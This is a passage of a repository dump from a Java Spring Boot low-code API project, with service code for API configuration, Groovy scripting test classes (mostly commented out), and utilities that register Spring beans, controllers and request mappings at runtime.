?\";\n\t\tString totalRowSql = \"select count(*) \" + from;\n\t\tString findSql = \"select * \" + from + \" order by id\";\n\t\tDb.paginate(1, 10, totalRowSql, findSql);\n//\t\tDb.paginate(1,10,findSql);\n\n\t\treturn null;\n\t}\n\t\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Map<String, Object>> querySQLList(String apiId) {\n\t\tList<Record> lists = Db.use(\"main\").find(\"select * from  \"+\"api_config\"+\"  \");\n\t\t// List<Map<String, Object>> lists = jdbcTemplate.queryForList(\"select * from api_sql where api_id = \"+apiId);\n\t\tList<ApiSql> datas = RecordUtil.recordToBeans(lists,ApiSql.class);\n\t\tList<Map<String, Object>> datas2 = RecordUtil.recordToMaps(lists,false);\n//\t\tList<ApiSql> datas = RecordUtil.mapToBeans(lists,ApiSql.class);\n\t\t//log.info(JSON.toJSONString(datas));\n\t\treturn datas2;\n\t}\n\t\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic ApiDataSource getDatasource(String id) {\n\t\tApiDataSource info = new ApiDataSource();\n\t\tRecord record= Db.use(\"main\").findById( \"api_datasource\" , id);\n\t\treturn RecordUtil.recordToBean(record,ApiDataSource.class);\n\t}\n\n\n\tprivate static void buildApiConifgSubApiSql(List<ApiConfig> datas) {\n\t\tdatas.stream().map(item->{\n\t\t\t\t\tList<ApiSql> sqlList = Lists.newArrayList();\n\t\t\t\t\tif(\"sql\".equalsIgnoreCase(item.getScriptType())) {\n\t\t\t\t\t\tString sqls[] = item.getScriptContent().split(\";\");\n\t\t\t\t\t\tif(sqls.length>0) {\n\t\t\t\t\t\t\tfor(String sql : sqls) {\n\t\t\t\t\t\t\t\tif(StringUtils.isEmpty(sql)) {\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tApiSql apisql = new ApiSql();\n\t\t\t\t\t\t\t\tapisql.setId(String.valueOf(item.getId()));\n\t\t\t\t\t\t\t\tapisql.setText(sql);\n\t\t\t\t\t\t\t\tsqlList.add(apisql);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\titem.setSqlList(sqlList);\n\n\t\t\t\t\treturn item;\n\t\t\t\t}\n\t\t).collect(Collectors.toList());\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/test/TestGroovy.groovy",
    "content": "package io.github.wujun728.groovy.test\n//package io.github.wujun728.groovy.test;\n//\n//import com.alibaba.fastjson2.JSON\n//import com.alibaba.fastjson2.TypeReference\n//\n///**\n// * groove class\n// */\n//class TestGroovy {\n//\n//    void print() {\n//        System.out.println(\"hello word!!!!\");\n//    }\n//\n//    List<String> printArgs(String str1, String str2, String str3) {\n//        String jsonString = \"[\\\"\"+str1+\"\\\",\\\"\"+str2+\"\\\",\\\"\"+str3+\"\\\"]\";\n//        return JSON.parseObject(jsonString, new TypeReference<List<String>>() {});\n//    }\n//\n//\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/test/TestGroovyScript.java",
    "content": "//package io.github.wujun728.groovy.test;\n//\n//import groovy.lang.*;\n//import groovy.util.GroovyScriptEngine;\n//import groovy.util.ResourceException;\n//import groovy.util.ScriptException;\n//import org.springframework.web.bind.annotation.RestController;\n//\n//import javax.script.Bindings;\n//import javax.script.Invocable;\n//import javax.script.ScriptEngine;\n//import javax.script.ScriptEngineManager;\n//import java.io.*;\n//import java.util.Date;\n//\n//@RestController\n//public class TestGroovyScript {\n//\n//\tpublic static void main(String[] args) throws IOException {\n//\t\tBinding binding = new Binding();\n//\t\tbinding.setVariable(\"name\", \"zhangsan\");\n//\t\tGroovyShell groovyShell = new GroovyShell(binding);\n//\t\tObject evaluate = groovyShell\n//\t\t\t\t.evaluate(new File(\"src/main/java/com/bjc/lcp/core/api/controller/TestGroovy.groovy\"));\n//\t\tSystem.out.println(evaluate.toString());\n//\t}\n//\n//\tpublic static void evalScriptText2() throws Exception {\n//\n//\t}\n//\n//\tpublic static void evalScriptText() throws Exception {\n//\t\t// groovy.lang.Binding\n//\t\tBinding binding = new Binding();\n//\t\tGroovyShell shell = new GroovyShell(binding);\n//\t\tbinding.setVariable(\"name\", \"zhangsan\");\n//\t\tshell.evaluate(\"println 'Hello World! I am ' + name;\");\n//\t\t// 在script中,声明变量,不能使用def,否则scrope不一致.\n//\t\tshell.evaluate(\"date = new Date();\");\n//\t\tDate date = (Date) binding.getVariable(\"date\");\n//\t\tSystem.out.println(\"Date:\" + date.getTime());\n//\t\t// 以返回值的方式,获取script内部变量值,或者执行结果\n//\t\t// 一个shell实例中,所有变量值,将会在此\"session\"中传递下去.\"date\"可以在此后的script中获取\n//\t\tLong time = (Long) shell.evaluate(\"def time = date.getTime(); return time;\");\n//\t\tSystem.out.println(\"Time:\" + time);\n//\t\tbinding.setVariable(\"list\", new String[] { \"A\", \"B\", \"C\" });\n//\t\t// invoke method\n//\t\tString joinString = (String) shell.evaluate(\"def call(){return list.join(' - ')};call();\");\n//\t\tSystem.out.println(\"Array join:\" + joinString);\n//\t\tshell = null;\n//\t\tbinding = null;\n//\t}\n//\n//\t/**\n//\t * 当groovy脚本,为完整类结构时,可以通过执行main方法并传递参数的方式,启动脚本.\n//\t */\n//\tpublic static void evalScriptAsMainMethod(){\n//\t  String[] args = new String[]{\"Zhangsan\",\"10\"};//main(String[] args)\n//\t  Binding binding = new Binding(args);\n//\t  GroovyShell shell = new GroovyShell(binding);\n//\t  shell.evaluate(\"static void main(String[] args){ if(args.length != 2) return;println('Hello,I am ' + args[0] + ',age ' + args[1])}\");\n//\t  shell = null;\n//\t  binding = null;\n//\t}\n//\n//\t/**\n//\t * 运行完整脚本\n//\t * @throws Exception\n//\t */\n//\tpublic static void evalScriptTextFull() throws Exception{\n//\t  StringBuffer buffer = new StringBuffer();\n//\t  //define API\n//\t  buffer.append(\"class User{\")\n//\t      .append(\"String name;Integer age;\")\n//\t      //.append(\"User(String name,Integer age){this.name = name;this.age = age};\")\n//\t      .append(\"String sayHello(){return 'Hello,I am ' + name + ',age ' + age;}}\\n\");\n//\t  //Usage\n//\t  buffer.append(\"def user = new User(name:'zhangsan',age:1);\")\n//\t      .append(\"user.sayHello();\");\n//\t  //groovy.lang.Binding\n//\t  Binding binding = new Binding();\n//\t  GroovyShell shell = new GroovyShell(binding);\n//\t  String message = (String)shell.evaluate(buffer.toString());\n//\t  System.out.println(message);\n//\t  //重写main方法,默认执行\n//\t  String mainMethod = \"static void main(String[] args){def user = new User(name:'lisi',age:12);print(user.sayHello());}\";\n//\t  shell.evaluate(mainMethod);\n//\t  shell = null;\n//\t}\n//\n//\t/**\n//\t * 以面向\"过程\"的方式运行脚本\n//\t * @throws Exception\n//\t */\n//\tpublic static void evalScript() throws Exception{\n//\t  Binding binding = new Binding();\n//\t  GroovyShell shell = new GroovyShell(binding);\n//\t  //直接方法调用\n//\t  //shell.parse(new File(//))\n//\t  Script script = shell.parse(\"def join(String[] list) {return list.join('--');}\");\n//\t  String joinString = (String)script.invokeMethod(\"join\", new String[]{\"A1\",\"B2\",\"C3\"});\n//\t  System.out.println(joinString);\n//\t  //脚本可以为任何格式,可以为main方法,也可以为普通方法\n//\t  //1) def call(){...};call();\n//\t  //2) call(){...};\n//\t  script = shell.parse(\"static void main(String[] args){i = i * 2;}\");\n//\t  script.setProperty(\"i\", new Integer(10));\n//\t  script.run();//运行,\n//\t  System.out.println(script.getProperty(\"i\"));\n//\t  //the same as\n//\t  System.out.println(script.getBinding().getVariable(\"i\"));\n//\t  script = null;\n//\t  shell = null;\n//\t}\n//\n//\n//\t/**\n//\t * from source file of *.groovy\n//\t */\n//\tpublic static void parse() throws Exception{\n//\t  GroovyClassLoader classLoader = new GroovyClassLoader(Thread.currentThread().getContextClassLoader());\n//\t  File sourceFile = new File(\"D:\\\\TestGroovy.groovy\");\n//\t  Class testGroovyClass = classLoader.parseClass(new GroovyCodeSource(sourceFile));\n//\t  GroovyObject instance = (GroovyObject)testGroovyClass.newInstance();//proxy\n//\t  Long time = (Long)instance.invokeMethod(\"getTime\", new Date());\n//\t  System.out.println(time);\n//\t  Date date = (Date)instance.invokeMethod(\"getDate\", time);\n//\t  System.out.println(date.getTime());\n//\t  //here\n//\t  instance = null;\n//\t  testGroovyClass = null;\n//\t}\n//\n//\tpublic static void load() throws Exception {\n//\t\t  GroovyClassLoader classLoader = new GroovyClassLoader(Thread.currentThread().getContextClassLoader());\n//\t\t  BufferedInputStream bis = new BufferedInputStream(new FileInputStream(\"D:\\\\TestGroovy.class\"));\n//\t\t  ByteArrayOutputStream bos = new ByteArrayOutputStream();\n//\t\t  for(;;){\n//\t\t    int i = bis.read();\n//\t\t    if( i == -1){\n//\t\t      break;\n//\t\t    }\n//\t\t    bos.write(i);\n//\t\t  }\n//\t\t  Class testGroovyClass = classLoader.defineClass(null, bos.toByteArray());\n//\t\t  //instance of proxy-class\n//\t\t  //if interface API is in the classpath,you can do such as:\n//\t\t  //MyObject instance = (MyObject)testGroovyClass.newInstance()\n//\t\t  GroovyObject instance = (GroovyObject)testGroovyClass.newInstance();\n//\t\t  Long time = (Long)instance.invokeMethod(\"getTime\", new Date());\n//\t\t  System.out.println(time);\n//\t\t  Date date = (Date)instance.invokeMethod(\"getDate\", time);\n//\t\t  System.out.println(date.getTime());\n//\n//\t\t  //here\n//\t\t  instance = null;\n//\t\t  testGroovyClass = null;\n//\t}\n//\n//\n//\n//\tpublic static void evalScript666() throws Exception{\n//\t\t  ScriptEngineManager factory = new ScriptEngineManager();\n//\t\t  //每次生成一个engine实例\n//\t\t  ScriptEngine engine = factory.getEngineByName(\"groovy\");\n//\t\t  System.out.println(engine.toString());\n//\t\t  assert engine != null;\n//\t\t  //javax.script.Bindings\n//\t\t  Bindings binding = engine.createBindings();\n//\t\t  binding.put(\"date\", new Date());\n//\t\t  //如果script文本来自文件,请首先获取文件内容\n//\t\t  engine.eval(\"def getTime(){return date.getTime();}\",binding);\n//\t\t  engine.eval(\"def sayHello(name,age){return 'Hello,I am ' + name + ',age' + age;}\");\n//\t\t  Long time = (Long)((Invocable)engine).invokeFunction(\"getTime\", null);\n//\t\t  System.out.println(time);\n//\t\t  String message = (String)((Invocable)engine).invokeFunction(\"sayHello\", \"zhangsan\",new Integer(12));\n//\t\t  System.out.println(message);\n//\t\t}\n//\n//\n//\tstatic void simpleTest() throws IOException, InstantiationException, IllegalAccessException, ResourceException, ScriptException{\n//        String[] roots = new String[] { \"src/main/groovy/com/mobile263/billing/groovy/\" };\n//        //通过指定的roots来初始化GroovyScriptEngine\n//        GroovyScriptEngine gse = new GroovyScriptEngine(roots);\n//        GroovyObject groovyObject = (GroovyObject) gse.loadScriptByName(\"TestScript.groovy\").newInstance();\n//        String result = (String) groovyObject.invokeMethod(\"output\", \"hello\");\n//        System.out.println(result);\n//    }\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/test/TestGroovyScriptController.java",
    "content": "//package io.github.wujun728.groovy.test;\n//\n//import io.github.wujun728.common.base.Result;\n//import io.github.wujun728.groovy.groovy.GroovyDynamicLoader;\n//import org.springframework.web.bind.annotation.RequestMapping;\n//import org.springframework.web.bind.annotation.RestController;\n//\n//import javax.annotation.Resource;\n//\n//@RestController\n//public class TestGroovyScriptController {\n//\n//\t@Resource\n//\tprivate GroovyDynamicLoader groovyDynamicLoader;\n//\n//\t@RequestMapping(\"/test\")\n//\tpublic int test(int number1, int number2) {\n//\t\treturn number1 + number2;\n//\n//\t}\n//\n//\t@RequestMapping(\"/refresh\")\n//\tpublic Result refresh() {\n//\t\ttry {\n//\t\t\tgroovyDynamicLoader.refreshNew();\n//\t\t} catch (Exception e) {\n//\t\t\tResult.success(\"緩存刷新失败！\" + e.getMessage());\n//\t\t\te.printStackTrace();\n//\t\t}\n//\t\treturn Result.success(\"緩存刷新成功\");\n//\t}\n//\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/test/TestScript.groovy",
    "content": "package io.github.wujun728.groovy.test\n//package io.github.wujun728.groovy.test\n//\n//class TestScript {\n//    static String output(def str){\n//        println str;\n//        return \"hello\"+str;\n//    }\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/util/BeanRegisterUtil.java",
    "content": "package io.github.wujun728.groovy.util;\n\n\nimport cn.hutool.core.exceptions.UtilException;\nimport cn.hutool.extra.spring.SpringUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.config.BeanDefinition;\nimport org.springframework.beans.factory.config.ConfigurableListableBeanFactory;\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\nimport org.springframework.beans.factory.support.BeanDefinitionRegistry;\nimport org.springframework.beans.factory.support.DefaultSingletonBeanRegistry;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.util.ClassUtils;\nimport org.springframework.util.ReflectionUtils;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport java.lang.reflect.Method;\n\n/**\n * 动态注册对象到容器\n */\n@Slf4j\npublic class BeanRegisterUtil {\n    /**\n     * 动态添加controller到spring容器\n     * @param controllerBeanName\n     * @throws Exception\n     */\n    public static void registerController(String controllerBeanName) throws Exception {\n        final RequestMappingHandlerMapping requestMappingHandlerMapping = (RequestMappingHandlerMapping)\n                SpringUtil.getApplicationContext().getBean(\"requestMappingHandlerMapping\");\n\n        if (requestMappingHandlerMapping != null) {\n            String handler = controllerBeanName;\n            Object controller = SpringUtil.getApplicationContext().getBean(handler);\n            if (controller == null) {\n                return;\n            }\n            unregisterController(controllerBeanName);\n            //注册Controller\n            Method method = requestMappingHandlerMapping.getClass().getSuperclass().getSuperclass().\n                    getDeclaredMethod(\"detectHandlerMethods\", Object.class);\n            method.setAccessible(true);\n            method.invoke(requestMappingHandlerMapping, handler);\n            log.info(\"==>动态注入controller:{}\",controllerBeanName);\n        }\n    }\n\n    /**\n     * 动态删除controller\n     * @param controllerBeanName\n     */\n    public static void unregisterController(String controllerBeanName) {\n        final RequestMappingHandlerMapping requestMappingHandlerMapping = (RequestMappingHandlerMapping)\n                SpringUtil.getApplicationContext().getBean(\"requestMappingHandlerMapping\");\n        if (requestMappingHandlerMapping != null) {\n            String handler = controllerBeanName;\n            Object controller = SpringUtil.getApplicationContext().getBean(handler);\n            if (controller == null) {\n                return;\n            }\n            final Class<?> targetClass = controller.getClass();\n            ReflectionUtils.doWithMethods(targetClass, new ReflectionUtils.MethodCallback() {\n                @Override\n                public void doWith(Method method) {\n                    Method specificMethod = ClassUtils.getMostSpecificMethod(method, targetClass);\n                    try {\n                        Method createMappingMethod = RequestMappingHandlerMapping.class.\n                                getDeclaredMethod(\"getMappingForMethod\", Method.class, Class.class);\n                        createMappingMethod.setAccessible(true);\n                        RequestMappingInfo requestMappingInfo = (RequestMappingInfo)\n                                createMappingMethod.invoke(requestMappingHandlerMapping, specificMethod, targetClass);\n                        if (requestMappingInfo != null) {\n                            requestMappingHandlerMapping.unregisterMapping(requestMappingInfo);\n                        }\n                    } catch (Exception e) {\n                        e.printStackTrace();\n                    }\n                }\n            }, ReflectionUtils.USER_DECLARED_METHODS);\n        }\n    }\n\n    /**\n     * 向spring容器中添加bean\n     * @param className\n     * @param serviceName\n     * @param app\n     */\n    public static void addBean(String className, String serviceName, ApplicationContext app) {\n        try {\n            Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass(className);\n            BeanDefinitionBuilder beanDefinitionBuilder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n            registerBean(serviceName, beanDefinitionBuilder.getRawBeanDefinition(), app);\n        } catch (ClassNotFoundException e) {\n            System.out.println(className + \",主动注册失败.\");\n        }\n    }\n\n    /**\n     * 向spring容器中添加bean\n     * @param clazz\n     * @param serviceName\n     * @param app\n     */\n    public static void addBean(Class clazz, String serviceName, ApplicationContext app) {\n        BeanDefinitionBuilder beanDefinitionBuilder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n        registerBean(serviceName, beanDefinitionBuilder.getRawBeanDefinition(), app);\n    }\n\n    /**\n     * 向spring容器注册bean核心代码\n     * @param beanName\n     * @param beanDefinition\n     * @param context\n     */\n    private static void registerBean(String beanName, BeanDefinition beanDefinition, ApplicationContext context) {\n        ConfigurableApplicationContext configurableApplicationContext = (ConfigurableApplicationContext) context;\n        BeanDefinitionRegistry beanDefinitonRegistry = (BeanDefinitionRegistry) configurableApplicationContext\n                .getBeanFactory();\n        beanDefinitonRegistry.registerBeanDefinition(beanName, beanDefinition);\n        log.info(\"==> 动态注册bean:{}\",beanName);\n    }\n\n        public static <T> void registerBean(String beanName, T bean) {\n        ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();\n        factory.autowireBean(bean);\n        factory.registerSingleton(beanName, bean);\n    }\n\n    public static void unregisterBean(String beanName) {\n        ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();\n        if (factory instanceof DefaultSingletonBeanRegistry) {\n            DefaultSingletonBeanRegistry registry = (DefaultSingletonBeanRegistry)factory;\n            registry.destroySingleton(beanName);\n        } else {\n            throw new UtilException(\"Can not unregister bean, the factory is not a DefaultSingletonBeanRegistry!\");\n        }\n    }\n\n    public static ConfigurableListableBeanFactory getConfigurableBeanFactory() throws UtilException {\n        ConfigurableListableBeanFactory factory = ((ConfigurableApplicationContext)SpringUtil.getApplicationContext()).getBeanFactory();\n        return factory;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/util/MappingRegisterUtil.java",
    "content": "package io.github.wujun728.groovy.util;\n\nimport cn.hutool.core.util.ArrayUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.google.common.collect.Lists;\nimport io.github.wujun728.groovy.mapping.http.RequestMappingExecutor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.lang.reflect.Method;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@Slf4j\n@Component\npublic class MappingRegisterUtil {\n\n//    @Resource\n//    private RequestMappingHandlerMapping requestMappingHandlerMapping;\n\n    public static synchronized void registerMapping(String method, String path, String scriptType) throws NoSuchMethodException {\n        if (\"Code\".equals(scriptType)) {\n            return;\n        }\n        String pattern = path;\n        if (StringUtils.isEmpty(pattern) || pattern.startsWith(\"TEMP-\")) {\n            return;\n        }\n        RequestMappingInfo mappingInfo = getRequestMappingInfo(pattern, method);\n        if (mappingInfo != null) {\n            return;\n        }\n        log.debug(\"Mapped [{}]{}\", method, pattern);\n        if(!StringUtils.isEmpty(method)) {\n            List<RequestMethod> methods = Lists.newArrayList();\n            if(StrUtil.containsIgnoreCase(\"get\",method)){\n                methods.add(RequestMethod.GET);\n            }\n            if(StrUtil.containsIgnoreCase(\"post\",method)){\n                methods.add(RequestMethod.POST);\n            }\n            if(StrUtil.containsIgnoreCase(\"delete\",method)){\n                methods.add(RequestMethod.DELETE);\n            }\n            if(StrUtil.containsIgnoreCase(\"put\",method)){\n                methods.add(RequestMethod.PUT);\n            }\n            if(CollectionUtils.isEmpty(methods)){\n                mappingInfo = RequestMappingInfo.paths(pattern).build();\n            }else {\n                mappingInfo = RequestMappingInfo.paths(pattern).methods(ArrayUtil.toArray(methods,RequestMethod.class)).build();\n            }\n        }else {\n            mappingInfo = RequestMappingInfo.paths(pattern).build();\n        }\n        RequestMappingHandlerMapping requestMappingHandlerMapping = SpringUtil.getBean(\"requestMappingHandlerMapping\");\n        RequestMappingExecutor mappingFactory = SpringUtil.getBean(RequestMappingExecutor.class);\n        Method targetMethod = RequestMappingExecutor.class.getDeclaredMethod(\"execute\", HttpServletRequest.class, HttpServletResponse.class);\n        requestMappingHandlerMapping.registerMapping(mappingInfo, mappingFactory, targetMethod);\n    }\n\n//    @Resource\n//    @Lazy\n//    private static RequestMappingExecutor mappingFactory;\n\n    public static synchronized void unregisterMapping(String method, String path, String scriptType) {\n        if (\"Code\".equals(scriptType)) {\n            return;\n        }\n        String pattern = path;\n\n        if (StringUtils.isEmpty(pattern) || pattern.startsWith(\"TEMP-\")) {\n            return;\n        }\n        RequestMappingInfo mappingInfo = getRequestMappingInfo(pattern, method);\n        if (mappingInfo == null) {\n            return;\n        }\n        log.info(\"Cancel Mapping [{}]{}\", method==null?\"\":method, pattern);\n        if(!StringUtils.isEmpty(method)) {\n            List<RequestMethod> methods = Lists.newArrayList();\n            if(StrUtil.containsIgnoreCase(\"get\",method)){\n                methods.add(RequestMethod.GET);\n            }\n            if(StrUtil.containsIgnoreCase(\"post\",method)){\n                methods.add(RequestMethod.POST);\n            }\n            if(StrUtil.containsIgnoreCase(\"delete\",method)){\n                methods.add(RequestMethod.DELETE);\n            }\n            if(StrUtil.containsIgnoreCase(\"put\",method)){\n                methods.add(RequestMethod.PUT);\n            }\n            if(CollectionUtils.isEmpty(methods)){\n                mappingInfo = RequestMappingInfo.paths(pattern).build();\n            }else {\n                mappingInfo = RequestMappingInfo.paths(pattern).methods(ArrayUtil.toArray(methods,RequestMethod.class)).build();\n            }\n        }else {\n            mappingInfo = RequestMappingInfo.paths(pattern).build();\n        }\n        RequestMappingHandlerMapping requestMappingHandlerMapping = SpringUtil.getBean(\"requestMappingHandlerMapping\");\n        requestMappingHandlerMapping.unregisterMapping(mappingInfo);\n    }\n\n    private static RequestMappingInfo getRequestMappingInfo(String pattern, String method) {\n        RequestMappingHandlerMapping requestMappingHandlerMapping = SpringUtil.getBean(\"requestMappingHandlerMapping\");\n        Map<RequestMappingInfo, HandlerMethod> map = requestMappingHandlerMapping.getHandlerMethods();\n        for (RequestMappingInfo info : map.keySet()) {\n            Set<String> patterns = getPatterns(info);\n            Set<RequestMethod> methods = info.getMethodsCondition().getMethods();\n            if (patterns.contains(pattern) && (methods.isEmpty() || methods.contains(RequestMethod.valueOf(method)))) {\n                return info;\n            }\n        }\n        return null;\n    }\n\n\n    public static Set<String> getPatterns(RequestMappingInfo info) {\n        return info.getPatternsCondition() == null ? /* info.getPathPatternsCondition().getPatternValues() */null\n                : info.getPatternsCondition().getPatterns();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/groovy/util/SpringUtils.java",
    "content": "//package io.github.wujun728.groovy.util;\n//\n//import cn.hutool.core.exceptions.UtilException;\n//import cn.hutool.core.lang.TypeReference;\n//import cn.hutool.core.util.ArrayUtil;\n//import org.springframework.aop.framework.AopContext;\n//import org.springframework.beans.BeansException;\n//import org.springframework.beans.factory.ListableBeanFactory;\n//import org.springframework.beans.factory.NoSuchBeanDefinitionException;\n//import org.springframework.beans.factory.config.BeanFactoryPostProcessor;\n//import org.springframework.beans.factory.config.ConfigurableListableBeanFactory;\n//import org.springframework.beans.factory.support.DefaultSingletonBeanRegistry;\n//import org.springframework.context.ApplicationContext;\n//import org.springframework.context.ApplicationContextAware;\n//import org.springframework.context.ApplicationEvent;\n//import org.springframework.context.ConfigurableApplicationContext;\n//import org.springframework.core.ResolvableType;\n//import org.springframework.stereotype.Component;\n//\n//import java.lang.reflect.ParameterizedType;\n//import java.util.Arrays;\n//import java.util.Map;\n//\n//@Component\n//public class SpringUtils  implements BeanFactoryPostProcessor, ApplicationContextAware {\n//    private static ConfigurableListableBeanFactory beanFactory;\n//    private static ApplicationContext applicationContext;\n//\n//    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException {\n//        SpringUtils.beanFactory = beanFactory;\n//    }\n//\n//    public void setApplicationContext(ApplicationContext applicationContext) {\n//        SpringUtils.applicationContext = applicationContext;\n//    }\n//\n//    public static ApplicationContext getApplicationContext() {\n//        return applicationContext;\n//    }\n//\n//    public static ListableBeanFactory getBeanFactory() {\n//        ListableBeanFactory factory = null == beanFactory ? applicationContext : beanFactory;\n//        if (null == factory) {\n//            throw new UtilException(\"No ConfigurableListableBeanFactory or ApplicationContext injected, maybe not in the Spring environment?\");\n//        } else {\n//            return (ListableBeanFactory)factory;\n//        }\n//    }\n//\n//    public static ConfigurableListableBeanFactory getConfigurableBeanFactory() throws UtilException {\n//        ConfigurableListableBeanFactory factory;\n//        if (null != beanFactory) {\n//            factory = beanFactory;\n//        } else {\n//            if (!(applicationContext instanceof ConfigurableApplicationContext)) {\n//                throw new UtilException(\"No ConfigurableListableBeanFactory from context!\");\n//            }\n//\n//            factory = ((ConfigurableApplicationContext)applicationContext).getBeanFactory();\n//        }\n//\n//        return factory;\n//    }\n//\n//\n//\n//    public static <T> T getBean(Class<T> clazz) {\n//        return getBeanFactory().getBean(clazz);\n//    }\n//\n//    public static <T> T getBean(String name, Class<T> clazz) {\n//        return getBeanFactory().getBean(name, clazz);\n//    }\n//\n//    public static <T> T getBean(TypeReference<T> reference) {\n//        ParameterizedType parameterizedType = (ParameterizedType)reference.getType();\n//        Class<T> rawType = (Class)parameterizedType.getRawType();\n//        Class<?>[] genericTypes = (Class[])Arrays.stream(parameterizedType.getActualTypeArguments()).map((type) -> {\n//            return (Class)type;\n//        }).toArray((x$0) -> {\n//            return new Class[x$0];\n//        });\n//        String[] beanNames = getBeanFactory().getBeanNamesForType(ResolvableType.forClassWithGenerics(rawType, genericTypes));\n//        return getBean(beanNames[0], rawType);\n//    }\n//\n//    public static <T> Map<String, T> getBeansOfType(Class<T> type) {\n//        return getBeanFactory().getBeansOfType(type);\n//    }\n//\n//    public static String[] getBeanNamesForType(Class<?> type) {\n//        return getBeanFactory().getBeanNamesForType(type);\n//    }\n//\n//    public static String getProperty(String key) {\n//        return null == applicationContext ? null : applicationContext.getEnvironment().getProperty(key);\n//    }\n//\n//    public static String getApplicationName() {\n//        return getProperty(\"spring.application.name\");\n//    }\n//\n//    public static String[] getActiveProfiles() {\n//        return null == applicationContext ? null : applicationContext.getEnvironment().getActiveProfiles();\n//    }\n//\n//    public static String getActiveProfile() {\n//        String[] activeProfiles = getActiveProfiles();\n//        return ArrayUtil.isNotEmpty(activeProfiles) ? activeProfiles[0] : null;\n//    }\n//\n//    public static <T> void registerBean(String beanName, T bean) {\n//        ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();\n//        factory.autowireBean(bean);\n//        factory.registerSingleton(beanName, bean);\n//    }\n//\n//    public static void unregisterBean(String beanName) {\n//        ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();\n//        if (factory instanceof DefaultSingletonBeanRegistry) {\n//            DefaultSingletonBeanRegistry registry = (DefaultSingletonBeanRegistry)factory;\n//            registry.destroySingleton(beanName);\n//        } else {\n//            throw new UtilException(\"Can not unregister bean, the factory is not a DefaultSingletonBeanRegistry!\");\n//        }\n//    }\n//\n//    public static void publishEvent(ApplicationEvent event) {\n//        if (null != applicationContext) {\n//            applicationContext.publishEvent(event);\n//        }\n//\n//    }\n//\n//    public static void publishEvent(Object event) {\n//        if (null != applicationContext) {\n//            applicationContext.publishEvent(event);\n//        }\n//\n//    }\n//\n//\n//\n//    public static ApplicationContext getContext() {\n//        return applicationContext;\n//    }\n//\n//    public static void autowireBean(Object bean) {\n//        applicationContext.getAutowireCapableBeanFactory().autowireBean(bean);\n//    }\n//\n//\n//\n////    public static Object getBean(String name) {\n////        try {\n////            return applicationContext.getBean(name);\n////        } catch (Exception e) {\n////            return null;\n////        }\n////    }\n//\n//\n//    public static boolean containsBean(String name) {\n//        return applicationContext.containsBean(name);\n//    }\n//\n//    public static boolean isSingleton(String name) {\n//        return applicationContext.isSingleton(name);\n//    }\n//\n//    public static Class<? extends Object> getType(String name) {\n//        return applicationContext.getType(name);\n//    }\n//\n//\n//\n//\n//    /**\n//     * 获取配置文件配置项的值\n//     * @param key 配置项key\n//     */\n//    public static String getEnvironmentProperty(String key){\n//        return getApplicationContext().getEnvironment().getProperty(key);\n//    }\n//\n//\n//\n//\n//\n//    /**\n//     * 获取对象\n//     *\n//     * @param name\n//     * @return Object 一个以所给名字注册的bean的实例\n//     * @throws BeansException\n//     *\n//     */\n//    @SuppressWarnings(\"unchecked\")\n//    public static <T> T getBean(String name) throws BeansException\n//    {\n//        return (T) beanFactory.getBean(name);\n//    }\n//\n//\n//\n//    /**\n//     * 如果给定的bean名字在bean定义中有别名，则返回这些别名\n//     *\n//     * @param name\n//     * @return\n//     * @throws NoSuchBeanDefinitionException\n//     *\n//     */\n//    public static String[] getAliases(String name) throws NoSuchBeanDefinitionException\n//    {\n//        return beanFactory.getAliases(name);\n//    }\n//\n//    /**\n//     * 获取aop代理对象\n//     *\n//     * @param invoker\n//     * @return\n//     */\n//    @SuppressWarnings(\"unchecked\")\n//    public static <T> T getAopProxy(T invoker)\n//    {\n//        return (T) AopContext.currentProxy();\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/controller/RestApiController.java",
